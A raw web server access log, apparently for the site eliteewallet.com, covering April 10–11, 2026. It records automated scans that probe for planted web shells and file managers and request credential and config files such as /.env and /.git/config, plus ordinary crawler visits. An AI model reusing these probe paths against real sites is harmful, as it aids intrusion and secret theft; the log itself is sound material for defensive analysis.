HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:54:30 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:54:33 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:54:36 +0300] "GET /wp-p2r3q9c8k4.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:55:44 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:56:13 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:56:40 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:56:57 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:57:00 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:58:44 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:58:44 +0300] "GET /8573.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:40:39 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:43:38 +0300] "GET /ws49.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:47:22 +0300] "GET /amthd.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:49:04 +0300] "GET /blsvgeyaza.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:49:12 +0300] "GET /gqhyti.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:49:43 +0300] "GET /wp-asyn-upload.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:50:12 +0300] "GET //clasa99.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:53:16 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:53:23 +0300] "GET /dass.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:53:37 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:55:07 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:57:06 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:57:11 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:57:27 +0300] "GET /public/wp-blog.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:58:01 +0300] "GET //tfm.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:03:00:15 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 14.18.16.155 - - [10/Apr/2026:03:34:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 40.69.66.178 - - [10/Apr/2026:04:48:37 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 203.2.64.59 - - [10/Apr/2026:05:27:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.173.132.95 - - [10/Apr/2026:07:18:11 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 205.169.39.168 - - [10/Apr/2026:06:39:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.32.126.212 - - [10/Apr/2026:07:35:16 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 205.169.39.168 - - [10/Apr/2026:06:39:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 49.51.72.76 - - [10/Apr/2026:08:00:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.85.219.177 - - [10/Apr/2026:06:41:54 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 209.127.127.112 - - [10/Apr/2026:07:29:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 10; SM-A102U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Mobile Safari/537.36" 185.198.240.5 - - [10/Apr/2026:10:17:06 +0300] "GET /dup-installer/main.installer.php HTTP/1.1" 301 795 "-" "-" 195.178.110.18 - - [10/Apr/2026:08:30:07 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Python-urllib/2.5" 182.42.105.85 - - [10/Apr/2026:11:47:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.141.131 - - [10/Apr/2026:11:41:02 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 43.157.95.131 - - [10/Apr/2026:09:00:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.137.48.167 - - [10/Apr/2026:11:33:35 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 14.18.16.150 - - [10/Apr/2026:08:36:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 20.91.251.70 - - [10/Apr/2026:12:32:01 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.85.123.27 - - [10/Apr/2026:12:57:21 +0300] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30" 49.51.183.15 - - [10/Apr/2026:13:59:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.85.123.27 - - [10/Apr/2026:12:57:20 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30" 43.153.79.218 - - [10/Apr/2026:13:13:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.124.106.82 - - [10/Apr/2026:12:36:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 146.190.246.96 - - [10/Apr/2026:15:21:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 146.190.246.96 - - [10/Apr/2026:15:21:05 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 57.141.10.53 - - [10/Apr/2026:15:25:01 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 161.97.118.193 - - [10/Apr/2026:14:28:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 159.223.145.25 - - [10/Apr/2026:16:38:02 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 115.45.42.19 - - [10/Apr/2026:15:55:03 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4339.61 Safari/537.36 QIHU 360SE" 43.166.253.94 - - [10/Apr/2026:17:58:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 159.223.145.25 - - [10/Apr/2026:18:24:23 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 72.146.30.147 - - [10/Apr/2026:18:09:36 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 198.235.24.209 - - [10/Apr/2026:18:10:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 93.158.90.70 - - [10/Apr/2026:19:59:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 14; SM-S901B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.280 Mobile Safari/537.36 OPR/80.4.4244.7786" 172.213.241.33 - - [10/Apr/2026:19:09:22 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.203.240.85 - - [10/Apr/2026:19:27:23 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 45.13.59.184 - - [10/Apr/2026:19:55:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 43.130.91.95 - - [10/Apr/2026:18:45:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.66.163 - - [10/Apr/2026:20:28:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.43 - - [10/Apr/2026:20:28:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.177 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.198 - - [10/Apr/2026:20:28:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.45 - - [10/Apr/2026:20:27:55 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 62.60.130.231 - - [10/Apr/2026:21:39:16 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 143.244.180.76 - - [10/Apr/2026:23:05:49 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 135.181.180.59 - - [10/Apr/2026:23:44:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 135.181.180.59 - - [10/Apr/2026:23:44:41 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 143.244.180.76 - - [10/Apr/2026:23:05:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 52.169.148.186 - - [11/Apr/2026:01:45:05 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.157.52.37 - - [11/Apr/2026:02:50:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 161.97.119.25 - - [11/Apr/2026:00:36:18 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.254.75.46 - - [11/Apr/2026:01:13:35 +0300] "GET /.git/HEAD HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 185.254.75.46 - - [11/Apr/2026:01:13:35 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 170.106.193.108 - - [11/Apr/2026:04:30:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.191.127.189 - - [11/Apr/2026:04:15:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 13; 2201117TG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.193 Mobile Safari/537.36" 157.15.40.89 - - [11/Apr/2026:04:36:17 +0300] "GET /media/system/js/core.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 20.166.9.204 - - [11/Apr/2026:05:13:44 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [11/Apr/2026:05:13:59 +0300] "GET /itil.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [11/Apr/2026:05:14:15 +0300] "GET /admin-filters.php HTTP/1.1" 301 795 "-" "-" 66.249.66.13 - - [11/Apr/2026:06:00:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 20.166.9.204 - - [11/Apr/2026:05:14:08 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 45.92.1.32 - - [11/Apr/2026:05:00:56 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.92.1.32 - - [11/Apr/2026:05:01:11 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 20.166.9.204 - - [11/Apr/2026:05:14:35 +0300] "GET /mjq.php HTTP/1.1" 301 795 "-" "-" 45.92.1.32 - - [11/Apr/2026:05:01:26 +0300] "GET /cgi-bin/postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 20.166.9.204 - - [11/Apr/2026:05:14:23 +0300] "GET /new2.php HTTP/1.1" 301 795 "-" "-" 66.249.66.32 - - [11/Apr/2026:06:00:19 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 182.42.111.156 - - [11/Apr/2026:06:48:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.166.9.204 - - [11/Apr/2026:05:13:33 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [11/Apr/2026:05:13:52 +0300] "GET /wp-demomav.php HTTP/1.1" 301 795 "-" "-" 194.26.192.215 - - [11/Apr/2026:07:41:27 +0300] "GET / HTTP/1.1" 301 795 "eliteewallet.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" 194.26.192.215 - - [11/Apr/2026:07:41:45 +0300] "GET / HTTP/1.1" 301 795 "eliteewallet.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" 157.15.40.89 - - [11/Apr/2026:08:56:26 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.137.48.167 - - [11/Apr/2026:08:35:40 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 103.60.12.47 - - [11/Apr/2026:09:16:55 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 149.56.160.202 - - [11/Apr/2026:10:55:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Dataprovider.com)" 43.133.69.37 - - [11/Apr/2026:11:50:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.167.157.80 - - [11/Apr/2026:10:33:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 149.56.160.198 - - [11/Apr/2026:10:54:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Dataprovider.com)" 51.210.216.21 - - [11/Apr/2026:12:28:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 31.57.184.107 - - [11/Apr/2026:12:23:43 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 144.91.87.213 - - [11/Apr/2026:14:43:22 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 40.81.230.197 - - [11/Apr/2026:12:35:59 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 205.210.31.17 - - [11/Apr/2026:13:22:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 182.44.67.97 - - [11/Apr/2026:13:12:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 173.252.83.113 - - [11/Apr/2026:13:08:29 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 85.203.23.105 - - [11/Apr/2026:15:58:38 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:58:42 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:58:47 +0300] "GET /wp-content/plugins/enhanced-text-widget/analyst/src/403.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:58:51 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:58:52 +0300] "GET /wp-content/users.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:58:55 +0300] "GET /.well-known/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:00 +0300] "GET /3PJcpMFsD8B.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:05 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:10 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:15 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:20 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:25 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:25 +0300] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:30 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:35 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:40 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:41 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:45 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:45 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:50 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:54 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:15:59:58 +0300] "GET /wp-includes/speculative8.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:01 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:06 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:11 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:16 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:21 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:22 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:22 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:23 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:23 +0300] "GET /wp-content/themes/news-portal/sitebar.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:28 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:33 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:38 +0300] "GET /wp-content/themes/fukasawa/inc/classes/403.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:42 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:42 +0300] "GET /wp-admin/css/colors/PHPMailer/s HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:46 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:50 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:50 +0300] "GET /comments/feed/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:51 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:55 +0300] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:00:57 +0300] "GET /wp-content/updraft/plugins-old/updraftplus/vendor/team-updraft/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:01:00 +0300] "GET /system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:01:05 +0300] "GET /wp-content/plugins/filester/assets/css/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:01:10 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:01:11 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-sarang.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 